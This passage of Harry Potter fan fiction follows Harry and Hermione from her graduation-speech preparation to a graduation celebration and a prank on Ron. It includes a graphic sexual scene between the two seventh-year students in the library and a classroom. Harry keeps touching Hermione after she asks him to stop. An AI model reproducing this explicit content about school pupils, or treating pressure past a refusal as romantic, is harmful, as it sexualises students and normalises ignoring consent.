Hermione for if he did he wouldn&#8217;t be able to look away.</p>\n\n<p>&nbsp;</p>\n\n<p>Blaise shook her head and smiled, &#8220;Would you look at us, two people who never thought we would actually fall for one person.&nbsp; Hades must have frozen over.&#8221; </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Yeah, maybe you should look into that.&#8221; Harry smiled.&nbsp; </p>\n\n<p>&nbsp;</p>\n\n<p>Looking up at Harry, Blaise grinned. &#8220;Or better yet, Weasley can look into that for us.&#8221; </p>\n\n<p>&nbsp;</p>\n\n<p>Hermione finished her breakfast and stood up throwing her bag over her shoulder,</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;You finished already Herms?&#8221; Cybil asked.</p>\n\n<p>&nbsp;</p>\n\n<p>Hermione rolled her eyes; she hated it when people called her Herms or anything short for her name.&nbsp; &#8220;Yes, graduation is in a few days and I have to work on my speech.&nbsp; Oh if it&#8217;s the one thing I&#8217;m terrible at doing is public speaking.&#8221; She shuddered, &#8220;I hope I don&#8217;t get sick on everyone.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Oh don&#8217;t worry, you&#8217;ll be fine.&#8221; Holly reassured her, &#8220;Just do what I do and imagine everyone in their underwear.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Or naked,&#8221; Cybil added.</p>\n\n<p>&nbsp;</p>\n\n<p>Hermione shook her head amused, &#8220;You two are such pervs.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Thank you,&#8221; Both Cybil and Holly replied together with happy grins.&nbsp; The two of them watched as Hermione with a smile on her face turned and headed towards the doors and leaving through them.&nbsp; A few moments later Harry came up to the Gryffindor table.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Where did Hermione go?&#8221; He looked around for someone to answer.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Oh she went to the library.&#8221; Holly smiled.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Yeah, she said she was going to work on her speech for graduation. I bet if you hurry you can catch up with her.&#8221; Cybill also smiled.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Thanks girls.&#8221; Harry took off like a shot out of the great hall; he quickly made his way down the hall towards the library.&nbsp; He pushed open the library doors and stepped inside, taking a quick glance for Hermione and found that she wasn&#8217;t sitting at her usual table.&nbsp; He went up to a few other seventh years that looked like they were studying for that last final NEWT that was scheduled for Wednesday.&nbsp; </p>\n\n<p>&nbsp;</p>\n\n<p>Harry walked right up to them, &#8220;Excuse me but have you seen Hermione Granger come in here?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>A blonde boy looked up and nodded, &#8220;Yes she said we could use her table, that she wanted some peace and quiet so she took a spot way in the back behind the shelves.&#8221; He pointed.</p>\n\n<p>&nbsp;</p>\n\n<p>With a nod Harry proceeded to the back of the library, he peered around the corner and caught a glimpse of the back of Hermione&#8217;s head which was bent as she was resting her forehead in her hand, scribbling with her quill on a piece of parchment.&nbsp; She was clearly concentrating hard.</p>\n\n<p>&nbsp;</p>\n\n<p>Making sure his hair was as decent as it could be, he ran his fingers through it but it did little good.&nbsp; He shrugged and made his way over to Hermione.&nbsp; </p>\n\n<p>&nbsp;</p>\n\n<p>Harry cleared his throat which snapped Hermione from her concentration, she turned her head looking up at him, she smiled a little.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Is this seat taken?&#8221; Harry grinned, gesturing to the chair next to her.</p>\n\n<p>&nbsp;</p>\n\n<p>Hermione shook her head, &#8220;No, but I really want to work on my speech so if you sit there, please don&#8217;t bother me.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Harry pulled the chair away from the table and sat down, &#8220;Bother you, my dear girl I would never bother you.&nbsp; Annoy you maybe, but never bother.&#8221; Harry was giving off his most adorable lopsided grin.</p>\n\n<p>&nbsp;</p>\n\n<p>Shaking her head, amused Hermione continued to look at her paper and write.&nbsp; After only a few seconds she felt something tap her shoulder, she turned to look at Harry.</p>\n\n<p>&nbsp;</p>\n\n<p>He could see the question in her eyes, &#8220;Oh sorry, I didn&#8217;t mean to bother you&#8230;&#8221; He grinned, &#8220;Could I borrow some parchment and a quill?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Certainly,&#8221; Hermione reached up into her bag and pulled out a bunch of quills that were held together securely with a rubber band.&nbsp; She removed one from the group and handed it to Harry along with piece of parchment.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Thanks,&#8221; Harry said and went right to work doodling little pictures on the paper as Hermione continued to write her speech.</p>\n\n<p>&nbsp;</p>\n\n<p>After a few moments Harry began to get bored, there was only so much doodling you could do.&nbsp; A spider that was crawling along the table got Harry&#8217;s attention; it was a common brown spider just minding its own business trying to get to the other side.&nbsp; Harry decided to give it a helping hand, he pulled out his wand and whispered a charm that accidentally launched the spider off the table.&nbsp; </p>\n\n<p>&nbsp;</p>\n\n<p><i>&#8216;Oops,&#8217;</i> Harry thought to himself as he watched the spider sail through the air towards one of the book shelves.&nbsp; He shrugged, and went back to his boring doodling.</p>\n\n<p>A high pitched scream echoed through the library which snapped everyone&#8217;s attention, Hermione&#8217;s head whipped around to the sound of that scream.&nbsp; They saw Ron Weasley coming out from behind the shelves smacking at his back.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;There&#8217;s a spider down my shirt, get it out, get it out!&#8221; Ron screamed and jumped around, the spider dropped out of the back of Ron&#8217;s shirt and scurried quickly away, afraid of being stepped on.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;That&#8217;s enough out of you young man, this is a place of studying,&#8221; Madame Pince headed towards him and grabbed his ear. &#8220;I&#8217;m taking you to see the Headmaster; maybe then you&#8217;ll learn some respect for the sanctity of the library.&#8221;&nbsp; She pulled on his ear taking him from the library.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Ow, ow, lemmie go.&#8221; Ron complained as he was forced from the library.</p>\n\n<p>&nbsp;</p>\n\n<p>Hermione shook her head as the noisy student was being pulled from the library, &#8220;Well that was unexpected.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Yeah,&#8221; Harry couldn&#8217;t help but snicker and wonder if that was the same spider he launched into the air.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;What are you laughing about?&#8221; Hermione looked at him.</p>\n\n<p>&nbsp;</p>\n\n<p>He shrugged, &#8220;Oh nothing important.&nbsp; That was just kinda funny you know.&#8221; Harry smiled.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Yeah I guess so,&#8221; Hermione twisted her quill within her fingers.&nbsp; &#8220;He was always some kind of an idiot.&#8221; She smiled a little.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Hermione, I&#8217;m bored are you done with that yet?&#8221; Harry leaned his head on the table looking up at her.</p>\n\n<p>&nbsp;</p>\n\n<p>Hermione patted his shoulder, &#8220;I&#8217;ll be done soon, I just have to end this speech.&#8221;&nbsp; Harry nodded before Hermione once again picked up the quill to start writing.</p>\n\n<p>&nbsp;</p>\n\n<p>Harry rested his arms on the table and leaned his chin on them, looking in Hermione&#8217;s direction.&nbsp; She was already back in her deep concentration and he knew that she could not see him staring at her.&nbsp; He sighed a bit watching the way her she would gently bite her full bottom lip, just that motion from her caused a certain stirring in his pants.&nbsp; He took a breath and turned away for a moment willing himself to calm down; they were in a library for heaven&#8217;s sake.&nbsp; His sneakiness started coming into play, thoughts entering his head.&nbsp; They were alone here in the back, no one was around.&nbsp; Harry took a glance over his shoulder and in all directions just to make sure.&nbsp; </p>\n\n<p>&nbsp;</p>\n\n<p>He of course did not want to alert anyone back to this area of the library; Harry took another glance at Hermione.&nbsp; Her hand lightly brushing back the stray strands of hair that hung down over her face, that same hand came to rest down on the table top.&nbsp; Without really thinking about it, Harry lifted his fingers and gently rubbed the top of her hand.&nbsp; He didn&#8217;t even notice Hermione had stopped writing for a moment.</p>\n\n<p>&nbsp;</p>\n\n<p>Hermione paused and she seemed to blink, then shook her head.&nbsp; She had to get back to this and would try her hardest to ignore him.&nbsp; Which was hard considering the fact that when ever he touched her, he made her feel all warm and fluttery inside, she must not react to this, this speech had to be written.&nbsp; She took a deep breath and her quill started up again.</p>\n\n<p>&nbsp;</p>\n\n<p>Harry had started moving his fingers a bit, going up and down her arm.&nbsp; If Hermione was reacting to this he would never know, for she was still working hard and didn&#8217;t seem phased by this at all.&nbsp; She couldn&#8217;t be concentrating that hard.&nbsp; He wanted a reaction out of her.&nbsp; His fingers lightly brushed against her upper arm, making small circles on her shoulder, he noticed her breathing had changed which brought a tiny smirk to his face. Yet this wasn&#8217;t enough.</p>\n\n<p>&nbsp;</p>\n\n<p>She felt his hand leave her arm and she almost sighed with relief, now she could finally get back to work she did not need these distractions right now.&nbsp; Hermione&#8217;s relief was short lived as she felt his fingers gently tickling her thigh, his hand fully came down and he started gently massaging.&nbsp; Her eyes squeezed shut.&nbsp; </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Harry, could you please stop that?&#8221; She asked, her voice a bit shaky and not as confident sounding as she wanted.&nbsp; In a way she cursed herself for not wearing stockings today.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Stop what?&#8221; Harry said innocently, his hand and fingers getting closer to his desired destination.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;What you&#8217;re doing,&#8221; Hermione took a deep breath as his fingers lightly touching her bare skin and felt her skirt being moved a bit.</p>\n\n<p>&nbsp;</p>\n\n<p>Harry&#8217;s hand lazily drifted to the inside of her thigh, &#8220;What? You don&#8217;t like this.&#8221; He gave off the most innocent looking pout.</p>\n\n<p>&nbsp;</p>\n\n<p>Her eyes closed a bit and she gave off a sweet little, quiet moan. I&#8230;It&#8217;s not that, I just have to um&#8221; Hermione swallowed really hard, &#8220;&#8230;con&#8230;concentrate.&#8221; </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Are you sure?&#8221; His hand grazed the edge of her panties.</p>\n\n<p>&nbsp;</p>\n\n<p>Hermione reached down and moved his hand away.&nbsp; &#8220;Yes&#8230; I&#8217;m um sure.&#8221; She needed to control her breathing, besides they were out here in public, people could walk over here at anytime.&nbsp; She took a quick glance over her shoulder.</p>\n\n<p>&nbsp;</p>\n\n<p>Harry knew no one was around he moved his chair closer to hers.&nbsp; &#8220;Everything is fine, trust me.&nbsp; There is nothing to worry about.&#8221;</p>\n\n<p>&#8220;But we&#8217;re in the library.&#8221; She said quietly.</p>\n\n<p>&nbsp;</p>\n\n<p>He leaned closer to her and whispered, &#8220;Everyone is studying for the test, no one is going to come back here.&#8221; Harry pressed his lips against her neck.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;But I don&#8217;t think&#8230;&#8221;&nbsp; Hermione was finding it harder and harder to listen to her head.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p>&#8220;Shh, just don&#8217;t think about it then.&#8221; He whispered and leaned closer to her, leaving hot open mouthed kisses on her flesh.&nbsp; While working wonders on her neck with his lips, Harry again moved his hand to her leg, moving it up her thigh a bit more quickly this time.&nbsp; He so wanted to touch her.&nbsp; His fingers gently pressed against her panties and he had to sustain a moan of his own.&nbsp; </p>\n\n<p>&nbsp;</p>\n\n<p>Hermione shifted a bit which gave his hand easier access to her sensitivity; she couldn&#8217;t believe she was reacting this way and out in public too.&nbsp; Harry&#8217;s hand was gently massaging on the outside of her panties pressing up against her sex, that he had to cover her mouth with his to keep her from making too much noise.&nbsp; Not that he ever complained about kissing her.&nbsp; His tongue pushed into her mouth almost urgently coming together with hers as she kissed him back just as hard.</p>\n\n<p>&nbsp;</p>\n\n<p>Harry couldn&#8217;t take it anymore; he needed to feel her flesh, her warmth.&nbsp; His hand dipped inside her panties and he also gave off a moan but it was muffled since he was still locked in a passionate kiss.&nbsp;&nbsp; The way her skin felt was sending a massive desire through him that he felt his pants becoming much too small.&nbsp; (oh yeah baby ^.~)</p>\n\n<p>&nbsp;</p>\n\n<p>His fingers caressed her, his finger occasionally brushing against the little button hidden with in her soft folds, causing Hermione to actually start moving her hips against his hand. &nbsp;She was getting so hot.&nbsp; Almost without warning, Hermione quickly pulled away and pushed his hand away panting hard.</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp; &#8220;Harry&#8230;please, not in here.&#8221; She sounded so desperate and she knew that, her body was aching for release but she was not about to give into it here in the library.&nbsp; &#8220;How about we go back up to the dorms?&#8221; She offered.</p>\n\n<p>&nbsp;</p>\n\n<p>Harry nodded, &#8220;Okay let&#8217;s go.&#8221; He cleared his throat.</p>\n\n<p>&nbsp;</p>\n\n<p>Hermione quickly packed up her parchment and quills, her legs were feeling a bit shaky as she stood.&nbsp; She took a deep breath and got a hold of herself.&nbsp; Harry held onto her arm, pressing himself as close as possible to her as they hurried from the library.&nbsp; </p>\n\n<p>&nbsp;</p>\n\n<p>He held her close to him with his arm around her as they were heading down the hall, Harry&#8217;s hand moved down to her hip and he started stroking his fingers up and down her hip, the side of her body lightly brushing against the edge of her breast.&nbsp; A strangled moan came from within Hermione as she felt she wouldn&#8217;t make it to their rooms if Harry kept this up, the fire was already building within her.&nbsp; Hermione&#8217;s willpower was flying from her mind, she need him right now or she would just burst.</p>\n\n<p>&nbsp;</p>\n\n<p>They continued down the hall, Hermione noticed they were coming to an open, empty classroom and she came to a complete stop.&nbsp; Harry looked at her, annoyed.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;What? Why did you stop?&#8221; Harry couldn&#8217;t help the irritation in his voice, but he knew they both wanted to get back to the rooms as quickly as possible.</p>\n\n<p>&nbsp;</p>\n\n<p>Hermione lifted a brow, &#8220;Empty class room, locked door.&nbsp; Are you arguing with me?&#8221; </p>\n\n<p>&nbsp;</p>\n\n<p>Harry&#8217;s eyes widened with the realization then smiled obediently, &#8220;Oh&#8230;no ma&#8217;am, absolutely not.&#8221;&nbsp; He was surprised when Hermione pushed him into the room.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Now lock the door.&#8221; She took a deep breath and moved to the other side of the classroom and dropped her school bag on the floor.&nbsp; Hermione heard Harry mutter a locking charm.</p>\n\n<p>&nbsp;</p>\n\n<p>He quickly moved to where she was standing and wrapped his arms around her waist pulling her so her back was up against his chest.&nbsp; &#8220;Wanna try something new?&#8221; He whispered into her ear.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I know this is going to sound awfully rude, but I don&#8217;t really care I just really need you.&#8221; Hermione breathed out.</p>\n\n<p>&nbsp;</p>\n\n<p>Harry grinned, &#8220;As you wish.&#8221;&nbsp; One arm wrapped around her waist holding her up against him, while he moved his free hand to her skirt undoing it.&nbsp; He watched a bit as it fell to the floor and she kicked it away, Harry wasted no time as his hand moved down into her panties again where he cupped her sex, her legs spread a bit as he began to tease her a bit. He was rewarded with a sweet, sensual moan.&nbsp; His moved the arm that was wrapped around her, and moved his hand underneath her shirt, letting his fingers barely touch her breast.&nbsp; He was teasing her.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Please don&#8217;t tease me Harry.&#8221; She moaned again at what both of his hands were doing.&nbsp; Hermione reached behind her, pressing her palm against his erection, even though she was touching him through his pants it caused Harry to groan loudly.&nbsp; He needed to get out of them and fast.</p>\n\n<p>&nbsp;</p>\n\n<p>Harry quickly moved his hands and grabbed a hold of the hem of her shirt and quickly pulled it off of her tossing it aside, the rest of her underwear followed.&nbsp; His actions were becoming more urgent as he now also hurried to undo his pants and get them off.&nbsp; </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Now, I need you right now.&#8221; She turned her head a bit looking back at him.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;My, my, aren&#8217;t you eager.&#8221; He teased while pressing himself against her opening, and pressing her down against the top of the desk.</p>\n\n<p>&nbsp;</p>\n\n<p>Hermione grabbed the sides of the desktop tightly, she moaned loudly at the feel of him burying himself snuggly inside her.</p>\n\n<p>&nbsp;</p>\n\n<p>It took all of Harry&#8217;s willpower not to slam right into her hard, he still did not want to hurt her no matter how many times they had been together.&nbsp; But the way she was moaning right now kinda made him wonder if he really wouldn&#8217;t hurt her.&nbsp; </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Harry&#8230;Gods.&#8221; She bit her bottom lip as Harry started thrusting in and out of her, gradually picking up his pace. &nbsp;Oh this was new, different and exciting she was actually moving herself harder against him, faster she moved wanting to get as much feeling as possible.&nbsp; She felt Harry reach around with his hand and his finger gently rubbing up against her hidden button once again.&nbsp; Her loud cries filled the room with the hot white fire rushing through her as he pleasured her in more than one area.</p>\n\n<p>&nbsp;</p>\n\n<p>Harry knew he was adding extra to her feelings, he wanted her to have the best experience as possible.&nbsp; He no longer held back his movements as he plunged into her harder and faster, his hands now gripped at her hips pulling her back as he thrust forward.&nbsp; Hermione&#8217;s upper body lifted off the table top pressing against his chest.&nbsp; He attacked her neck with sensual kisses, leaving his marks on her.&nbsp; One hand remained on her hip and the other lifted to cup her breasts and then massage it, his fingers brushing over her sensitive nipple.&nbsp; She was crying out, her beautiful sounds making him want to give her more.</p>\n\n<p>&nbsp;</p>\n\n<p>Hermione felt she was going to explode, her nerves were on the edge and she felt them start to push over.&nbsp; Her body started to shudder, oh the sudden and erupting passion engulfing her entirely. </p>\n\n<p>&nbsp;</p>\n\n<p>Oh that was the most wonderful sound that Hermione made, the one where he knew that he had totally and completely satisfied her.&nbsp; Harry moved harder into her, moving quickly.&nbsp; With his last final stroke he let out a cry as he too reached the stars for that final moment.&nbsp; Hermione was lying flat on the table top as Harry exhausted landed a bit on top of her.&nbsp; His cheek on her now moist back, they were both breathing hard.</p>\n\n<p>&nbsp;</p>\n\n<p>It seemed time had stood still as they did not move from that spot, but eventually Harry had to be the first to move since he was still on top of her.&nbsp; He lazily moved himself off of her and sat down on the floor, Hermione stood and turned around facing him.&nbsp; Harry yelped with shock at the coldness of the floor and Hermione actually giggled at the look on his face.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Oh you think that&#8217;s funny do you.&#8221; Harry said, teasing.</p>\n\n<p>&nbsp;</p>\n\n<p>Hermione nodded, &#8220;Yes it was very funny, and that look was just priceless.&nbsp; Its times like these I wish I had a camera with me.&#8221;</p>\n\n<p>&#8220;You know I could think of a lot more interesting things to do with a camera than you could.&#8221; Harry smirked.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;If you mean taking pictures of certain acts we do together then I&#8217;m afraid that just won&#8217;t work.&nbsp; Any sight of your fat ass is sure to crack the lens.&#8221;&nbsp; </p>\n\n<p>&nbsp;</p>\n\n<p>Harry laughed, &#8220;I guess some things will never change.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Nope,&#8221; Hermione smiled.&nbsp; &#8220;I like teasing you, its fun.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I like teasing you too.&#8221; Harry wiggled his eyebrows and Hermione just shook her head amused.</p>\n\n<p>&nbsp;</p>\n\n<p>Hermione started gathering up her clothing, &#8220;You know this was rather interesting, we should try new things more often.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I&#8217;ll be happy to help you out in anything you want,&#8221;&nbsp; Harry also got into his clothing.&nbsp; He had some regrets so he would share them with her.&nbsp; &#8220;I didn&#8217;t rush you or anything today did I?&nbsp; I never want to make you do anything you don&#8217;t want to.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>She moved to Harry and wrapped her arms around him, &#8220;You didn&#8217;t rush me at all, so don&#8217;t think for one moment that you did anything wrong.&#8221; She leaned up and kissed him gently.&nbsp; Harry sighed pulling her more up against him as he continued to kiss her, it was as if he didn&#8217;t want to let her go.</p>\n\n<p>&nbsp;</p>\n\n<p>Hermione pulled back from the kiss but remained in his arms, &#8220;We better go, I still got that speech to finish.&nbsp; Thanks to you, I didn&#8217;t get an ending for it yet.&#8221; She smiled.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Don&#8217;t worry Hermione, I&#8217;m a healthy distraction.&#8221; He stroked her hair, threading his fingers through her silky tresses as she just smiled up at him.&nbsp;&nbsp; Harry pulled back from her arms and took her hand in his, &#8220;Come on, lets get out of here.&#8221; And they left the classroom.</p>\n\n<p>&nbsp;</p>\n\n<p>*****</p>\n\n<p>&nbsp;</p>\n\n<p>The day of graduation was hectic, people rushed around like chickens with their heads cut off.&nbsp;&nbsp; Young ladies were standing around in groups asking each other if they looked all right, young gentlemen were doing the same.&nbsp;&nbsp; Head Master Dumbledore stood up at the podium and cleared his throat.&nbsp; </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Please be seated.&#8221; Dumbledore requested, and the students immediately grew silent and sat down.&nbsp; &#8220;I would like to start by saying congratulations to all our graduates today; you all worked hard you should all be proud of yourselves you earned it.&nbsp; Now I would like to turn over the podium to our head girl Miss Hermione Granger.&#8221;&nbsp; Dumbledore stepped aside.</p>\n\n<p>&nbsp;</p>\n\n<p>A loud applause rose up from the graduates as well as one loud boo, hiss, hiss as Hermione stood there.&nbsp; She assumed and knew who that booing was coming from.&nbsp; She looked down at all the students and professors looking up at her, she felt the room grow small the walls felt they were closing in on her, the students&#8217; now beady little eyes all on her.&nbsp; Her throat tightened and she swallowed a few times, her face becoming increasingly pale.</p>\n\n<p>&nbsp;</p>\n\n<p>Blaise who was sitting next to Harry watched Hermione closely.&nbsp; &#8220;What&#8217;s the matter with her, is she all right?&#8221;&nbsp; Her voice held some concern.</p>\n\n<p>&nbsp;</p>\n\n<p>Harry sighed, he wanted to run up and hold her, tell her it was all right.&nbsp; &#8220;Its just she doesn&#8217;t speak well in front of large crowds.&nbsp; Sometimes she even gets sick.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Ewww, She&#8217;s gonna be sick!&#8221; Ron shouted laughing,&nbsp; &#8220;Whatever you do, don&#8217;t get you disease infected germs on us by tossing your cookies!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>That Ron Weasley knew exactly how to push her buttons, she wasn&#8217;t going to let him get to her, she would not let him win. Hermione closed her eyes and counted to ten, <i>&#8216;Imagine them in their underwear.&#8217;</i>&nbsp; A voice in her head said, <i>&#8216;or naked.&#8217;</i> Another one said, a silly amused grin appeared on her face. &nbsp;She opened her eyes true they weren&#8217;t in their underwear or naked, but at least she got a laugh out of it.&nbsp; Hermione looked at the crowd and down at her long parchment with her speech on it.&nbsp; Somehow it didn&#8217;t seem to fit anymore.&nbsp;&nbsp; She ripped it up and cleared her throat and began to speak.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;When I was first told that I would have to write a speech and speak in front of a large crowd, I&#8217;ll admit I was scared.&nbsp; Much like I was when I first came to this school.&nbsp; How large everything looked, how intimidating, I&#8217;m sure I wasn&#8217;t the only one who felt that way.&nbsp; During our time here, those years we grow and become more familiar with life, we realize that hey, it&#8217;s not so scary after all.&nbsp; It&#8217;s experiences good and bad that make us grow and form the type of person we will become as adults.&nbsp; You can not let yourself be pushed down by fear.&nbsp; I&#8217;m not talking about being afraid of the dark or of evil wizards that may want you dead.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I&#8217;m talking about fear of yourself,&#8221; Hermione continued, &#8220;Being afraid to be who you are, that is something you should never fear.&nbsp; If you are true to yourself and to your heart, there is nothing that you can&#8217;t do.&#8221;&nbsp; Hermione smiled at the crowd, &#8220;Thank you.&#8221; She turned and left the podium with the sound of applause and of course that one boo, you stink comment from Ron Weasley.</p>\n\n<p>&nbsp;</p>\n\n<p>Dumbledore finished applauding and took his place at the podium, &#8220;Thank you Miss Granger for your inspiring words.&#8221; He smiled at her as she took her seat in the Gryffindor section.&nbsp; &#8220;Now as I call your name please come up to receive your certificate.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>The announcing of the names went rather quickly, and soon everyone was gathered in the great hall for the end of the year celebration.&nbsp; There was an endless supply of food and drinks, music and even some dancing.</p>\n\n<p>Hermione, who was sitting at table with a gold tablecloth, sighed as she glanced around the great hall.&nbsp; The decorations were beautiful.&nbsp; Gold and silver strands hung from the ceiling, tapestries of a united student body hung along the walls, she felt a light prickling sensation in her eyes, oh the first time she walked down to get sorted flashed in her mind, the hat proudly shouting the words Gryffindor and Hermione as an eleven year old girl with a huge smile on her face happily sat with her other house members.&nbsp; It was a wonderful memory, many of which she would always remember. A hand came down on her shoulder and she turned a little looking up, it was Harry and he was smiling a bit.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Are you all right?&#8221; Harry asked, sitting next to her.</p>\n\n<p>&nbsp;</p>\n\n<p>Hermione smiled, her eyes sparkled from the small tears in her eyes.&nbsp; &#8220;It&#8217;s just this has been a part of our lives for so long and its coming to an end, nothing will be the same after this, what if this is the best life has to offer?&#8221; </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Hmmm,&#8221; Harry thought a moment, &#8220;You know I don&#8217;t think of it that way, I think of it as one chapter of our lives, and it&#8217;s not necessarily over.&nbsp; We will always remember our time here, and it will reflect on what we do in life.&#8221; He smiled</p>\n\n<p>&nbsp;</p>\n\n<p>Hermione nodded, &#8220;When did you become so insightful?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I think I get that from you,&#8221; His cheeks tinged pink, &#8220;You&#8217;ve been a strong influence on me and my life Hermione, its only natural I would pick up some of your wonderful qualities.&nbsp; Who knows where I would be now without you, you are my anchor, you make me want to be a good person.&nbsp; I love you with my whole heart and soul.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>A beautiful smile graced her face, &#8220;Harry I&#8217;m grateful for your love, but I am most thankful for your friendship.&nbsp; Without that, we would not be where we are now, I treasure each day with you, and I just want you to know that.&#8221;&nbsp; Hermione was immediately wrapped in Harry&#8217;s arms, she laid her head against his chest listening to his heartbeat.&nbsp; </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Come on Hermione, there&#8217;s a small party that requires your presence.&#8221; He pushed her back a bit looking into her eyes.</p>\n\n<p>&nbsp;</p>\n\n<p>Hermione loved what she saw in his eyes when he looked at her, &#8220;Oh and who is at this party?&#8221; </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Just two people who happen to be in love.&#8221; Harry grinned.</p>\n\n<p>&nbsp;</p>\n\n<p>Hermione returned the grin, &#8220;And they are?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;You and me,&#8221; He rested his forehead against hers.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I would love to attend this party,&#8221; She kissed him gently.</p>\n\n<p>&nbsp;</p>\n\n<p>Harry stood and helped Hermione from her chair, &#8220;Then we should go, we wouldn&#8217;t want to be late.&#8221;&nbsp; He put his arm around her and they left The Great Hall.</p>\n\n<p>&nbsp;</p>\n\n<p>Ron was leaning up against the wall as he saw Harry and Hermione heading towards him.&nbsp; &#8220;Ah going off to screw each other like rabbits I see,&nbsp; how disgusting.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Sod off Weasley.&#8221; Harry simply said as he and Hermione started to pass him.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I wouldn&#8217;t fuck her too much, who knows what might happen.&nbsp; She might corrode your dick so much that it would fall off.&#8221;&nbsp; Ron looked right at Hermione, &#8220;She certainly looks diseased.&#8221;&nbsp; He then looked at Harry again, &#8220;I can&#8217;t believe you would actually sink so low as to&#8230;&#8221;&nbsp; Ron didn&#8217;t have time to finish is bout if insults as both Harry and Hermione at the same time had brought out their wands and pointed them at Ron and shouted.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Wingardium Leviosa!&#8221;&nbsp; </p>\n\n<p>&nbsp;</p>\n\n<p>Ron was immediately lifted high into the air, he had no idea the effect this spell had on someone when cast at the same time with two very highly skilled magic users, Ron continued to sail into the air and he came to rest on a high rafter.&nbsp; He looked down at Harry and Hermione glaring how he hated them,&nbsp; he didn&#8217;t even have his wand to get down.&nbsp; He couldn&#8217;t even stand that those two were so smug and that they were laughing at him.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Hope you like the view,&#8221; Hermione shouted in merriment.</p>\n\n<p>&nbsp;</p>\n\n<p>Harry just laughed, and they both put their arms around each other and continued on their way.</p>\n\n<p>&nbsp;</p>\n\n<p>Ron groaned out of frustration as the students and ex students started leaving the great hall to go onto do other things that night.&nbsp; This was his chance to get down from here, he wasn&#8217;t against asking for help this time &#8220;Help me! Someone anyone help me down!&#8221;&nbsp; The students were so loud, banging large clingy objects around creating quite a ruckus.&nbsp; Ron was growing impatient; he just had to get someone&#8217;s attention.&nbsp; Using his other foot he managed to get off his shoe, maybe if it fell on someone&#8217;s head they would look up and see him.</p>\n\n<p>&nbsp;</p>\n\n<p>His shoe dropped but it didn&#8217;t hit anyone on the head, in fact no one saw it, a little girl with a few of her young friends came out of The Great Hall and saw a shoe sitting there. </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Hey look a shoe.&#8221; The girl said and went to pick it up.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Yes,&#8221; Ron exclaimed, thinking now she will look around for that owner of the shoe and go get help.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Eww its an ugly shoe, its all scuffed up.&#8221; Another child said.</p>\n\n<p>&nbsp;</p>\n\n<p>The girl holding the shoe looked at her friends, &#8220;You know my toad needs a good bed, this will do just nicely for him.&#8221; She giggled and ran off with her friends following behind.</p>\n\n<p>&nbsp;</p>\n\n<p>Ron couldn&#8217;t believe his eyes or ears, that girl didn&#8217;t even bother to find the owner.&nbsp; She just stole his shoe.&nbsp; He tried several times that night to get people&#8217;s attention and to notice him, but nothing was working.&nbsp; He saw that girl Blaise Zabini who was walking while locked in a very passionate kiss and embrace with that idiot Draco Malfoy pass by, he 